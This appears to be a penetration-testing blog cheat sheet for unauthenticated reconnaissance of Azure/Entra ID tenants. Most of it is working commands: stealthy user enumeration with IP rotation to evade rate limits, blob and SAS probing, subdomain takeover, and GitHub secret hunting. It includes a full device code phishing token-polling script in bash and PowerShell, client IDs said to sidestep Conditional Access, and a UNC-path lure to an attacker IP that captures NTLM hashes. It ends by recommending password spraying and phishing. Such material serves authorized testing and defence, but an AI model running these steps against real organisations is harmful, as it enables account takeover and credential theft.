jacobh.io
Azure - External Recon

Azure - External Recon

16 min read

Platform: azure

Updated

Purpose: Everything here should work without any access to the target tenant. Lets try to answer as many questions as possible about the environment without authenticated access.

Table of Contents

1. Tenant Discovery & Identification


Goal: Confirm the target uses Azure/Entra ID, get the Tenant ID, determine if it’s managed or federated, and check for Desktop SSO.

OpenID Configuration (Get Tenant ID)

The OpenID discovery endpoint is publicly accessible and returns the Tenant ID, token endpoints, and supported auth methods.

curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq

Key fields to note:

  • tenant_id (from the issuer URL: https://login.microsoftonline.com/<tenant-id>/v2.0)
  • token_endpoint
  • authorization_endpoint

Save the Tenant ID - you’ll need it for almost everything else.

User Realm / Federation Check

Determine if the tenant is managed (cloud-only passwords) or federated (ADFS/third-party IdP), and check for Desktop SSO (Seamless SSO).

curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=<anyuser>@<domain.com>" | jq

Key fields:

  • NameSpaceType: Managed or Federated
  • FederationBrandName: The brand name shown on the login page
  • FederationGlobalUrl: The federated IdP URL (if federated)
  • DesktopSsoEnabled: true means Seamless SSO is on - useful for hash-based token attacks later

AADInternals (PowerShell)

Since v0.9.6 (current: v0.9.8), AADInternals is split into two modules:

  • AADInternals - tenant recon, user enum, token operations. All outsider functions live here.
  • AADInternals-Endpoints - on-device/endpoint attack functions (PTA spy, ADFS, Azure AD join, etc.). Only needed post-compromise on a target device.

For external recon, only the base module is required:

Install-Module -Name "AADInternals" -Force
Import-Module "AADInternals"

# Only needed for on-device post-exploitation techniques:
# Install-Module -Name "AADInternals-Endpoints" -Force

Get Tenant ID from domain:

Get-AADIntTenantID -Domain <domain>

Get login information (managed vs federated, SSO status):

Get-AADIntLoginInformation -Domain <domain>

Public recon as outsider (most complete single command for tenant fingerprinting):

Invoke-AADIntReconAsOutsider -DomainName <domain>

As of AADInternals v0.9.x, this returns:

  • Tenant name, Tenant ID, and tenant region
  • All verified domains + their authentication type (Managed / Federated)
  • Whether Desktop SSO (Seamless SSO) is enabled
  • Whether Password Hash Sync is enabled
  • Whether Pass-Through Authentication is active
  • ADFS relying party details (if -GetRelayingParties switch used)
  • CBA (Certificate-Based Auth) configuration
  • MDI (Microsoft Defender for Identity) instance presence
  • DKIM and MTA-STS mail security records
  • Tenant SKU (E3/E5 etc.)

2. Domain Enumeration


Goal: Discover all domains registered to the target tenant.

AADInternals

Get other domains associated with tenant (effectively patched as of mid-June 2025):

Get-AADIntTenantDomains -Domain <domain>

Patched - June 2025 Get-AADIntTenantDomains relied on the Exchange Online Get-FederationInformation cmdlet, which previously returned all accepted domain names for a tenant unauthenticated. Microsoft patched this in mid-June 2025: the DomainNames field now only echoes back the single domain you queried; it no longer enumerates the full list. This technique is effectively dead for multi-domain discovery. Fall back to probing suspected domains individually via the OpenID endpoint (see Section 2).

Prior to the patch, a security researcher snapshotted over 400 million domain and tenant records you can access them here:

https://micahvandeusen.com/tools/tenant-domains/

or by calling the API directly

curl 'https://tenant-api.micahvandeusen.com/search?tenant_id=<TENANTID>'

OpenID With Domain Guessing

If you suspect additional domains (subsidiary.com, target-corp.com), test them against the same tenant:

curl -s "https://login.microsoftonline.com/<suspected-domain>/.well-known/openid-configuration" | jq '.issuer'

If the issuer returns the same Tenant ID, that domain belongs to the same tenant.

Common Naming Patterns to Probe

domain.com
domain.onmicrosoft.com
domaincorp.com
domain-corp.com
domainpartner.com
dev.domain.com

3. User Enumeration


Goal: Determine which email addresses / usernames are valid Azure AD accounts.

OpSec:

The Normal method (GetCredentialType) does not increment sign-in counts. All other methods will log as failed sign-ins.

Enumeration Methods Compared

MethodLogs as Failed Sign-In?Reliability
Normal (GetCredentialType)NoWorks with all tenants - preferred
Login (OAuth 2.0)YesWorks with all tenants
AutologonYesRequires Desktop SSO (Seamless SSO) to be enabled on the tenant
RST2 (WS-Trust)YesWorks with most tenants, logged

AADInternals

# Single user - Normal method (stealthy)
Invoke-AADIntUserEnumerationAsOutsider -UserName user@<domain>

# Single user - specify method
Invoke-AADIntUserEnumerationAsOutsider -UserName user@<domain> -Method RST2

# Bulk enumeration from file
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal

Usernames are domain-scoped A user like carlos@domainA.com cannot also be carlos@domainB.com even if both domains are in the same tenant. Each username is tied to one domain.

AADOutsider-py (Python Alternative)

git clone https://github.com/synacktiv/AADOutsider-py.git
cd AADOutsider-py

# Single user
python3 aadoutsider.py user_enum -m normal -d <domain> user@<domain>

# From file
python3 aadoutsider.py user_enum -m normal -d <domain> -f users.txt

o365spray

git clone https://github.com/0xZDH/o365spray.git
cd o365spray

# Single user (default: office module)
python3 o365spray.py --enum -d <domain> -u <username>

# Bulk (default: office module)
python3 o365spray.py --enum -d <domain> -U users.txt

# Explicit module selection
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module office     # default, no auth attempt
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module oauth2     # increments sign-in count
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module onedrive   # passive, no auth attempt

Module opsec differences

  • office (default): queries login.microsoftonline.com with no credential submission - does not increment sign-in count
  • oauth2: submits a token request - does increment sign-in count
  • onedrive: checks if the user has a OneDrive share URL - no auth event at all, fully passive. Note: only works if the user has previously logged into OneDrive
  • autologon / rst: require Seamless SSO or ADFS - increment sign-in count

Rate-limit bypass with FireProx

Microsoft applies IP-based rate limiting. Use FireProx or FlareProx to rotate IPs via AWS API Gateway/Cloudflare:

# Create a FireProx proxy URL, then pass it to o365spray
python3 o365spray.py --enum -d <domain> -U users.txt --proxy-url https://<fireprox-id>.execute-api.<region>.amazonaws.com/fireprox/

TeamsEnum

Enumerates valid email addresses via Teams’ presence/user APIs. Requires one valid Teams account (can be your own personal or corporate account). Returns user existence, display name, presence status, and OOO notes for valid users.

git clone https://github.com/lucidra-security/TeamsEnum.git
cd TeamsEnum
pip3 install -r requirements.txt

# Single user - password auth (corporate accounts without MFA)
python3 TeamsEnum.py -a password -u <your-teams-user> -e <target-email> -o output.json

# Single user - device code auth (MFA accounts / personal accounts)
python3 TeamsEnum.py -a devicecode -u <your-teams-user> -e <target-email> -o output.json

# Bulk - password auth
python3 TeamsEnum.py -a password -u <your-teams-user> -f targets.txt -o output.json

Auth method choice:

Use -a password for corporate accounts without MFA. Use -a devicecode when MFA is required or you’re using a personal Microsoft account. Even if the target org blocks external communications, TeamsEnum can still distinguish valid vs invalid users - though it won’t return presence/display name details in that case.

Generating User Lists

Username Anarchy

Generate common email formats

https://github.com/urbanadventurer/username-anarchy

./username-anarchy -i users.txt

Convert to emails

for u in $(cat users.txt)
do
echo $u@<domain.com>
done

4. Public Resource Discovery


Goal: Find publicly accessible Azure resources - storage blobs, web apps, static sites, and other services - belonging to the target.

Azure Service Subdomains to Target

When brute-forcing, look for these Azure service patterns:

ServiceDomain Pattern
App Services<name>.azurewebsites.net
Storage Blobs<name>.blob.core.windows.net
Storage Tables<name>.table.core.windows.net
Storage Queues<name>.queue.core.windows.net
Storage Files<name>.file.core.windows.net
CDN<name>.azureedge.net
Azure API Management<name>.azure-api.net
Azure Key Vault<name>.vault.azure.net
Static Web Apps<name>.<region>.azurestaticapps.net
Cloud Services<name>.cloudapp.net
Traffic Manager<name>.trafficmanager.net
Azure SQL<name>.database.windows.net
Azure Container Registry<name>.azurecr.io
Azure Cosmos DB<name>.documents.azure.com

cloud_enum

Multi-cloud enumeration tool. Can target Azure, AWS, and GCP simultaneously.

git clone https://github.com/initstring/cloud_enum.git
cd cloud_enum

python3 cloud_enum.py -k <companyname>
python3 cloud_enum.py -k <companyname> -t 15           # increase threads
python3 cloud_enum.py -k <companyname> -kf keyfile.txt  # multiple keywords

AzSubEnum

Azure subscription and resource brute-forcer.

git clone https://github.com/yuyudhn/AzSubEnum.git
cd AzSubEnum

# Default wordlist + permutations
python3 azsubenum.py -b <companyname> --thread 10

# Custom wordlist
python3 azsubenum.py -b <companyname> -t 10 -p permutations.txt

basicblobfinder

Brute-force Azure blob storage container names. For when you know the storage account name, but can’t list storage containers.

git clone https://github.com/joswr1ght/basicblobfinder.git
cd basicblobfinder

# Build name list: format is "accountname:containername"
for word in $(cat wordlist.txt); do
  echo "<storage_account_name>:$word" >> namelist
done

python3 basicblobfinder.py namelist

Manual Blob Probing

If you know the storage account name (from source code, DNS, or GitHub leaks):

# List containers anonymously (if public access allowed)
curl -s "https://<account>.blob.core.windows.net/?comp=list" | xmllint --format -

# Probe specific container
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list" | xmllint --format -

# Direct blob access (if you know the path)
curl -sI "https://<account>.blob.core.windows.net/<container>/<blob>"

SAS Token Leaks

Shared Access Signature URLs can be found in GitHub repos, error pages, and public configs. They look like:

https://<account>.blob.core.windows.net/<container>/<blob>?sv=2022-11-02&ss=b&srt=sco&sp=r&se=2026-01-01T00:00:00Z&st=2025-01-01T00:00:00Z&spr=https&sig=<signature>

A valid SAS token grants direct data-plane access to the resource.

5. Subdomain Takeover


Goal: Register an abandoned Azure service subdomain to hijack a company’s CNAME.

How It Works

  1. app.company.com → CNAME → myapp.azurewebsites.net
  2. The Azure web app myapp was deleted, but the DNS record remains
  3. Attacker registers myapp.azurewebsites.net in their own Azure subscription
  4. app.company.com now resolves to the attacker’s infrastructure

Vulnerable Azure Service Domains

azurewebsites.net          # App Service / Function Apps
cloudapp.net               # VMs, Cloud Services
cloudapp.azure.com         # VMs
trafficmanager.net         # Traffic Manager
.azurestaticapps.net       # Static Web Apps
.azurefd.net               # Front Door
.azureedge.net             # CDN
.azure-api.net             # API Management

Detection

# Find CNAME records pointing to Azure services
dig CNAME <subdomain>.<domain>

# Check if the target Azure subdomain resolves
nslookup <name>.azurewebsites.net

# If CNAME exists but target returns 404 / not found, it may be claimable
curl -sI "https://<name>.azurewebsites.net"

Automated tools:

nuclei -t takeovers/ -l subdomains.txt

Azure Mitigation

Azure is implementing “Secure unique default hostname” which prevents re-registration of previously used subdomains on services like Web Apps. Check before attempting.

6. Azure IP Recon


Goal: Azure information for a target IP address.

curl -s "https://azservicetags.azurewebsites.net/api/iplookup?ipAddresses=<target_ip>" | jq

This returns the region, cloud type, and service associated with the IP.

The most valuable piece of data returned by that API isn’t usually the region, it’s the Service Tag (e.g., AppService, AzureSQL, ApiManagement, Storage).

  • If you know an IP belongs to an Azure App Service, your next step might be hunting for exposed .scm.azurewebsites.net (Kudu) endpoints, checking for subdomain takeovers, or looking for specific PaaS misconfigurations.
  • if the IP belongs to Azure SQL or an internal Virtual Network Gateway, you instantly know that running standard web vulnerability scanners (like Nikto or Burp active scans) against it is a waste of time and will only generate noise.

7. GitHub & Source Code Recon


Goal: Find leaked credentials, subscription IDs, storage URLs, and other sensitive data in public GitHub repositories.

Regex Patterns for Hunting

# Azure Subscription IDs
/\/subscriptions\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\//

# Storage Account URLs
/.core.windows.net/
r
# Storage Account Keys (look for in configs)
/AccountKey=[A-Za-z0-9+\/=]{88}/

# SAS Token URLs (have &sig= parameter)
/.core.windows.net.*&sig=/

# Connection Strings
/DefaultEndpointsProtocol=https;AccountName=\w+;AccountKey=/

# Azure AD Client Secrets (approximate)
/[A-Za-z0-9~._-]{34,40}/

# Tenant IDs
/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/

More patterns: https://jaimepolop.github.io/RExpository/

GitHub Search Dorks

org:<company> "blob.core.windows.net"
org:<company> ".vault.azure.net"
org:<company> "AZURE_CLIENT_SECRET"
org:<company> "AZURE_TENANT_ID"
org:<company> "azure-storage"
org:<company> ".azurewebsites.net/api"
org:<company> connectionString
org:<company> "DefaultEndpointsProtocol"

Secret Scanning Tools

gitleaks

Fast and configurable. Good for tokens and keys.

git clone https://github.com/gitleaks/gitleaks.git
cd gitleaks && make build

# Scan a git repo (history + files)
gitleaks git -v --report-path=leaks.json

# Scan a directory (files only)
gitleaks dir . -v --report-path=leaks.json

# Scan via stdin
cat file.txt | gitleaks stdin -v

leakos (Chains multiple tools)

Runs multiple scanners: gitleaks, trufflehog, Rex, noseyparker, ggshield, kingfisher.

# Via Docker
docker pull ghcr.io/carlospolop/leakos:latest

# Scan an entire GitHub organization
docker run -v $(pwd):/output ghcr.io/carlospolop/leakos:latest \
  --github-token <YOUR_GITHUB_TOKEN> \
  --github-orgs <target_org> \
  --json-file /output/results.json

# Scan specific user repos
docker run -v $(pwd):/output ghcr.io/carlospolop/leakos:latest \
  --github-token <YOUR_GITHUB_TOKEN> \
  --github-users <username> \
  --json-file /output/results.json

trufflehog

Good for verified credentials, actually tests if found secrets work.

docker run -it -v "$(pwd):/pwd" trufflesecurity/trufflehog:latest github --org=<org_name> --token=<github_token>

What to Do With Found Items

FindingImpact
Subscription IDNeeded for ARM API calls if you later get a token
Storage Account KeyFull read/write on the storage account
SAS TokenScoped data access to a specific resource
Client ID + SecretAuthenticate as a service principal
Connection StringDirect database / storage access
Tenant IDRequired for all authentication flows

8. External Phishing Vectors


Goal: Obtain valid credentials or tokens from target users through unauthenticated social engineering techniques. This goes beyond the scope of this cheatsheet but is included for reference.

Device Code Phishing

Device code auth lets you initiate an OAuth flow where the user enters a code on https://microsoft.com/devicelogin. If they complete it, you get access + refresh tokens.

Manuel Methods

Step 1. Request a device code:

Two endpoint versions exist. Both work; v2.0 is the current Microsoft standard. The key difference is resource (v1) vs scope (v2).

# v1.0 endpoint (still works, many tools use this)
curl -s -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com' \
  "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" | jq

# v2.0 endpoint (current standard - uses 'scope' not 'resource')
curl -s -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default' \
  "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" | jq

Response gives you device_code, user_code, and verification_uri. Tell the target to go to https://microsoft.com/devicelogin and enter the user_code.

Step 2. Poll for the token (bash):

Use the token URL that matches the devicecode endpoint you used in Step 1 - v1.0 or v2.0.

#!/bin/bash
device_code="<paste-from-step-1>"
client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource="https://graph.microsoft.com"
token_url="https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
# v2.0 alternative: token_url="https://login.microsoftonline.com/Common/oauth2/v2.0/token"
interval=5
expires=900
elapsed=0

echo "Polling for authorization..."

while true; do
    sleep "$interval"
    elapsed=$((elapsed + interval))

    if [ "$elapsed" -gt "$expires" ]; then
        echo "Timeout." >&2; exit 1
    fi

    response=$(curl -sS -X POST "$token_url" \
      -d "client_id=$client_id" \
      -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
      -d "code=$device_code" \
      -d "resource=$resource")

    error=$(echo "$response" | jq -r '.error')

    if [ "$error" = "authorization_pending" ]; then
        echo "$error"
    elif [ "$error" = "null" ] || [ -z "$error" ]; then
        echo "SUCCESS"
        echo "$response" | jq
        break
    else
        echo "Error: $(echo "$response" | jq -r '.error_description')" >&2
        exit 1
    fi
done

Step 2. Poll for the token (PowerShell):

$body = @{
    "client_id"  = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "resource"   = "https://graph.microsoft.com"
}
$auth = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body

Write-Host "Code: $($auth.user_code)"
Write-Host "Go to: $($auth.verification_uri)"

$body2 = @{
    "client_id"  = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    "code"       = $auth.device_code
    "resource"   = "https://graph.microsoft.com"
}

do {
    Start-Sleep -Seconds $auth.interval
    try {
        $response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Body $body2
    } catch {
        $err = $_.ErrorDetails.Message | ConvertFrom-Json
        if ($err.error -ne "authorization_pending") { throw }
    }
} until ($response)
$response.access_token

Automated Methods

Azure CLI / PowerShell:

az login --use-device-code
Connect-AzAccount -UseDeviceAuthentication

ROADTools

roadrecon auth --device-code

Shorthand URL for accessing devicelogin endpoint

https://aka.ms/devicelogin

Well-Known Client IDs

Different client IDs grant different scopes. Target the one that gives you what you need:

ApplicationClient IDUse Case
Azure PowerShell1950a258-227b-4e31-a9cf-717495945fc2Broad directory access, best default
Azure CLI04b07795-8ddb-461a-bbee-02f9e1bf7b46Different CA policy triggers
Microsoft Officed3590ed6-52b3-4102-aeff-aad2292ab01cO365 + Graph access
Microsoft Teams1fec8e78-bce4-4aaf-ab1b-5451cc387264Often bypasses strict CA policies
Azure Portalc44b4083-3bb0-49c1-b47d-974e53cbdf3cHighly trusted by Entra ID

Hash theft via UNC path

Many organizations block SMB ingress, but not egress. This allows us to spin up a machine with a public IP and listen with Responder for incoming Net-NTLMv2 hashes.

One possible technique: Convince a user to copy an UNC path into a run box.

\\<publicip>\payroll.docx
  • lots of techniques exist for this type of thing.

9. Post-Recon: What To Do Next


With the tenant ID, a list of valid users, discovered public resources (blobs with creds, repos with secrets), we are in a pretty good spot for further exploitation.

  • Password spray valid users.
  • Phish valid users.
  • Identify vulnerabilities in Azure hosted apps.
  • Leverage found secrets.

10. Tools Reference


Quick reference for the tools described.

ToolPurposeInstall
AADInternalsTenant recon, user enum, federation infohttps://github.com/Gerenios/AADInternals
AADOutsider-pyPython user enum (same as AADInt outsider functions)github.com/synacktiv/AADOutsider-py
o365sprayUser enum + password spray for O365github.com/0xZDH/o365spray
TeamsEnumEnum users via Teams presence/user APIgithub.com/lucidra-security/TeamsEnum
cloud_enumMulti-cloud public resource enumerationgithub.com/initstring/cloud_enum
AzSubEnumAzure subscription/resource brute-forcegithub.com/yuyudhn/AzSubEnum
basicblobfinderBlob container name brute-forcegithub.com/joswr1ght/basicblobfinder
ROADtools/roadtxAzure AD interaction framework (post-auth)github.com/dirkjanm/ROADtools
AzureHoundBloodHound collector for Azure IAM pathsgithub.com/SpecterOps/AzureHound
leakosMulti-tool GitHub secret scannergithub.com/carlospolop/Leakos
gitleaksGit secret scanninggithub.com/gitleaks/gitleaks
trufflehogSecret scanning with credential verificationgithub.com/trufflesecurity/trufflehog
dnsreaperSubdomain takeoverhttps://github.com/punk-security/dnsReaper
subzySubdomain takeoverhttps://github.com/PentestPad/subzy
NucleiPhat recon toolhttps://github.com/projectdiscovery/nuclei